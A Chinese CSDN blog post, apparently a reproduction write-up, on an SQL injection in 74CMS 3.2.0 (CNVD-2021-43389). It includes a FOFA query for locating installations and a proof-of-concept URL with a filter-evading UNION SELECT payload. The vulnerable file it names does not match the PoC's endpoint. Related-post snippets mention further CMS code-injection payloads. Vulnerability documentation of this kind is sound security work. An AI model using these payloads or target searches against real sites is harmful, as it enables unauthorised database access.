74CMS(骑士CMS) 存在SQL注入漏洞（CNVD-2021-43389）

已于 2023-04-19 23:03:33 修改
阅读量1.4k 收藏 1
点赞数
分类专栏： 漏洞复现 文章标签： sql php 数据库 web安全 安全
于 2023-03-19 22:39:33 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/nnn2188185/article/details/129657739
版权
本文详细介绍了74CMS(骑士CMS)3.2.0版本存在的SQL注入漏洞，该漏洞可通过plus/ajax_street.php的x参数注入SQL语句。文章包含漏洞描述、影响版本、FOFA查询语句、漏洞复现方法及POC，并提供了整改建议。
摘要由CSDN通过智能技术生成

文章目录

74CMS(骑士CMS) 存在SQL注入漏洞（CNVD-2021-43389）

1.74CMS(骑士CMS)简介

微信公众号搜索：南风漏洞复现文库
南风网络安全公众号首发

74CMS是太原迅易科技有限公司基于ThinkPHP框架二次开发的人才招聘系统。

2.漏洞描述

74CMS是一款基于ThinkPHP框架二次开发的人才招聘系统。 74CMS 3.2.0版本存在SQL注入漏洞。攻击者利用该漏洞可通过plus/ajax_street.php的x参数注入SQL语句。
CNVD-2021-43389
CVE-2020-22208
CNNVD-202106-1336

3.影响版本

74CMS 3.2.0

4.fofa查询语句

app=“骑士-74CMS”

5.漏洞复现

http://192.168.31.246:3003/plus/ajax_officebuilding.php?act=key&key=錦’ a<>nd 1=2 un<>ion sel<>ect 1,2,3,version(),5,6,7,8,9%

了解本专栏 订阅专栏 解锁全文 超级会员免费看
sublime88
关注
专栏目录
订阅专栏
铭飞CMS SQL注入漏洞复现(CNVD-2024-06148)
0xSec
04-30 767
由于铭飞CMS文章列表接口content/list.do中的sqlWhere参数缺少对外部输入SQL语句的验证，未经身份验证的攻击者可利用该漏洞获取数据库敏感数据，进一步利用可获取服务器权限。
【漏洞复现-骑士cms-代码执行】vulfocus/骑士cms_cve_2020_35339
10-13 1749
【骑士cms-代码执行】植入到可执行的文件中
74cms代码执行漏洞
01-03
74cms代码执行漏洞 docker
怎么修复网站漏洞 骑士cms的漏洞修复方案
网站安全专家
01-03 795
骑士CMS是国内公司开发的一套开源人才网站系统，使用PHP语言开发以及mysql数据库的架构，2019年1月份被某安全组织检测出漏洞，目前最新版本4.2存在高危网站漏洞，通杀SQL注入漏洞，利用该网站漏洞可以获取网站的管理员账号密码以及用户账号信息. 目前很多人才网站都使用的骑士CMS系统，受影响的网站较多，关于该网站漏洞的详情我们来详细的分析一下。骑士cms4.2最新版本使用了thinkphp...
java 远程执行linux命令_Pikachu-RCE远程命令执行漏洞
weixin_39597323的博客
11-19 360
RCE：远程代码、命令执行漏洞给攻击者向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。远程系统命令执行一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口，比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。 如...
骑士 74CMS V3.4漏洞
weixin_61842894的博客
02-07 879
骑士 74CMS V3.4
74CMS 3.0 SQL注入漏洞后台.docx
07-07
74CMS 3.0 SQL注入漏洞后台演示,利用 sqlmap与burpsuit注入，需具备php基础
【某CMS漏洞】SQL注入漏洞分析
HBohan的博客
04-27 1654
前言 这个CMS非常适合入门代码审计的人去学习，因为代码简单且漏洞成因经典，对一些新手有学习价值， 前台注入 从入口开始:/semcms/Templete/default/Include/index.php [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xhTdHBVn-1651041211358)(https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/490ca1b2038f48148c14ac62455278ef~tplv-k
CNVD-2018-20024——MetInfo 6.1.2 SQL注入漏洞
玄道的网安博客
11-25 1441
0x00漏洞简介 metinfo是一个cms 6.1.2版本中存在一个sql盲注漏洞 0x01漏洞细节与漏洞利用 在\app\system\message\web\message.class.php的add函数。 get_one这里有个columnid 这个地方是传入int类型的参数 没有经过单引号的包围 所以对于那些不需要使用单引号的注入语句就起不到过滤作用 比如 and 1=2。 ...
Ares-X#VulWiki#74cms v4.2.126-通杀sql注入1
07-25
4， 如果是本地环境的话，会提示 域名不合法升级失败，这个问题很好解决5，搜索文件74cms\upload\Application\Admin\Controll
通天星CMSV6车载定位监控平台merge接口存在SQL注入漏洞
最新发布
nnn2188185的博客
06-25 197
通天星CMSV6车载定位监控平台merge接口存在SQL注入漏洞
铭飞CMS list 接口 SQL注入漏洞复现
0xSec
12-14 987
铭飞CMS在5.2.10版本以前list 接口处存在sql注入漏洞，能够利用该漏洞获取敏感信息，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
74cms 5.0.1版本文件包含漏洞复现
ANYOUZHEN的博客
06-04 640
漏洞成因：由于74CMS 某些函数存在过滤不严格，攻击者通过构造恶意请求，配合文件包含漏洞可在无需登录的情况下执行任意代码，控制服务器。下载地址： 下载后解压到phpstudy的根目录www里面输入网址，http://127.0.0.1/upload/install.php一直点击下一步，输入数据库名称和密码进入系统抓个包看看将包中的domain后面的改成 base64里面的是phpinfo经过base64编码后得到的,使用bp上面的编码模块decode 然后我们点击send进行发包，看到返回后stat
74cms v5.0.1存在远程连接命令/代码执行漏洞
qq_58091216的博客
05-14 762
由于小编最近在面试找工作，所以没有时间进行更新文章，先浅更一个任意代码执行漏洞。 1.打开127.0.0.1/74cms/upload/install.php进行安装 2.使用管理员账号登陆后台，点击保存网络配置并使用burpsuite抓包。 3.之后修改site_domain（<?php phpinfo();?> base64之PD9waHAgcGhwaW5mbygpOz8+），site_domain=',file_put_contents('403.php',base6
骑士CMS文件包含+getshell漏洞复现(python自动化验证扫描漏洞)
走在搬砖的路上！
08-02 3383
简介 骑士cms人才系统，是一项基于PHP+MYSQL为核心开发的一套免费 +开源专业人才网站系统 公告地址： http://www.74cms.com/news/show-2497.html /Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数因为过滤不严格，导致了模板注入，可以进行远程命令执行 影响版本 骑士 CMS < 6.0.48 环境搭建 这里使用phpstudy进.
骑士CMS SQL注入漏洞
收集盒 Book box
07-02 2432
影响版本: 通杀 程序介绍:  骑士CMS人才系统，PHP人才招聘程序 (www.74cms.com/) 漏洞文件： ajax_output.php预览源代码打印关于1 $category_id=trim($_GET['category_id']);  2  3 if (($category_id+0)>0 && intval($category_id)==$cate
74CMS漏洞复现
小小猪的博客
12-01 4262
74CMS漏洞复现 漏洞描述： 由于74CMS 某些函数存在过滤不严格，攻击者通过构造恶意请求，配合文件包含漏洞可在无需登录的情况下执行任意代码，控制服务器。 影响范围： 74CMS_v5.0.1 版本低于6.0.48 环境复现： 这里采用安鸾渗透实战平台的靶机 地址 漏洞复现： 访问http://www.whalwl.site:8019/index.php?m=home&a=assign_resume_tpl发现报错 访问 www.whalwl.site:8019/in..
74CMS 3.0 SQL注入漏洞前台
浅笑996的博客
12-09 1678
一、 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮，启动服务器环境 二、代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编辑，所以首先需要先将编码改成GBK 3.点击新建项目按钮，弹出对画框中选择（C:\phpStudy\WWW\74cms），点击确定 漏洞分析 1.点击展开左侧user目录，弹出的下拉列表中双击u...
帝国cms7.5垂直越权漏洞复现
01-02
根据提供的引用内容，帝国CMS 7.5版本及之前版本存在一个垂直越权漏洞，通过修改数据库表名可以实现任意代码执行。下面是帝国CMS 7.5垂直越权漏洞的复现步骤： 1. 使用管理员账户登录帝国CMS后台。 2. 访问以下URL：`/e/admin/admin/ebak/phome.php`。 3. 在URL中修改数据库表名，以实现任意代码执行。 请注意，这是一个漏洞复现的示例，仅用于安全研究和教育目的。在实际环境中，请遵循合法和道德的行为准则。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

sublime88

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值